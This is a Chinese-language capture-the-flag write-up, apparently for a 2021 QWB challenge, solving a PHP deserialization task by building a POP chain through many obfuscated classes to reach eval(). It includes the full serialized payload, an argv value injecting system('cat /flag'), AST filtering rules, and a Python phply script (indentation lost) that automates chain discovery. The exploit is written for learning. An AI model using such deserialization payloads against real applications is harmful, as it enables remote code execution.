解法1
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->VfvWSV($b);
然后打开class.php.txt,里面是数不清的class,并且类的函数之间互相调用,最终目的是执行到某一个函数的eval();
。
首先根据源码给出的$class->VfvWSV($b);
,先找到入口函数,然后根据入口函数,遍历查找pop链
因为有些函数的eval会替换其中的参数,又或者for循环中有变量没有声明,所以世界线很多,通过正则去掉无法使用的支线。
运行脚本之后错误的分支都会被删除,然后一步一步从入口函数走即可。
最后得到正确的pop链:
O:6:"NxSzOp":1:{s:7:"g9Gz8D5";O:6:"SqLI93":1:{s:7:"q3TzuyX";O:6:"PAdB0b":1:{s:7:"yd4PAu1";O:6:"uih8dR":1:{s:7:"QBv8Mky";O:6:"ufk8xT":1:{s:7:"nriq1ri";O:6:"bvgkUO":1:{s:7:"TouPwfO";O:6:"WLhhgV":1:{s:7:"LL23R2r";O:6:"fi6gkF":1:{s:7:"znBbdgs";O:6:"q1Vc3P":1:{s:7:"q23bw6Q";O:6:"Biw06g":1:{s:7:"R2i9h27";O:6:"tov2rx":1:{s:7:"x8q1khE";O:6:"lwOfae":1:{s:7:"xh9oF7G";O:6:"oxuMqZ":1:{s:7:"Zq4Yo1n";O:6:"QmN8Sc":1:{s:7:"StDIwnc";O:6:"TRfCQf":1:{s:7:"R6vresf";O:6:"Xo2ibu":1:{s:7:"lEuOPYK";O:6:"Y6f65q":1:{s:7:"QAvIKAV";O:6:"ehs7MG":1:{s:7:"owtTPgS";O:6:"WmfYBg":1:{s:7:"FAf9iSu";O:6:"HWKRg6":1:{s:7:"K3Bmgu5";O:6:"zZe2gg":1:{s:7:"DT5s2SW";O:6:"r3Wg1v":1:{s:7:"eOgquIs";O:6:"LHD4pg":1:{s:7:"r2kBsG0";O:6:"ycSIBI":1:{s:7:"K1SiQMQ";N;}}}}}}}}}}}}}}}}}}}}}}}}&argv=?><?php system('cat /flag');?>
解法2
参考https://www.yuque.com/fosusec/writeup/2021qwb#kLdit
使用 AST 剪切掉用不到的eval函数,根据以下规则过滤:
- eval 没被引用,过滤
- for 循环中会覆盖传入参数值,过滤
- eval 前会覆盖值参数值,过滤
- 除了入口函数外,其他函数只被引用一次的,过滤
过滤完毕之后只会剩下一个eval,根据这个eval来反向推出。
解法3
from phply import phplex
from phply.phpparse import make_parser
from phply.phpast import *
import pprint
import nose
parser = make_parser()
func_name = "find your func"
con = open("./qwb/class.php").read()
lexer = phplex.lexer.clone()
lexer.filename = None
output = parser.parse(con, lexer=lexer)
functions = {}
target = functions[func_name]
i = 0
# 强赋值函数直接跳过
skip_func = []
pop_chain = []
pop_chain.append(func_name)
e = False
for out in output:
class_name = out.name
for node in out.nodes:
if(type(node) == Method):
functions[node.name] = out
while(e is False):
for node in target.nodes:
if(type(node) == Method):
if node.name == func_name:
for subnode in node.nodes:
if type(subnode) == MethodCall:
# print(subnode)
if(subnode.name in skip_func):
continue
target = functions[subnode.name]
func_name = subnode.name
pop_chain.append(func_name)
break
if(type(subnode) == If):
# print(subnode)
if type(subnode.node) == MethodCall :
# print(subnode.node.name)
if( subnode.node.name in skip_func):
continue
target = functions[subnode.node.name]
func_name = subnode.node.name
pop_chain.append(func_name)
break
if(type(subnode) == Eval):
e = True
for pop in pop_chain:
print("class " + functions[pop].name + "{")
for node in functions[pop].nodes:
if(type(node) == ClassVariables):
for subnode in node.nodes:
print("public " + subnode.name + ';')
print("public function __construct(){")
if i+1 == len(pop_chain):
print("")
else:
print("$this->" + subnode.name[1:] + "= new " +functions[pop_chain[i+1]].name + "();")
print("}")
print("}")
i += 1
if i == len(pop_chain):
break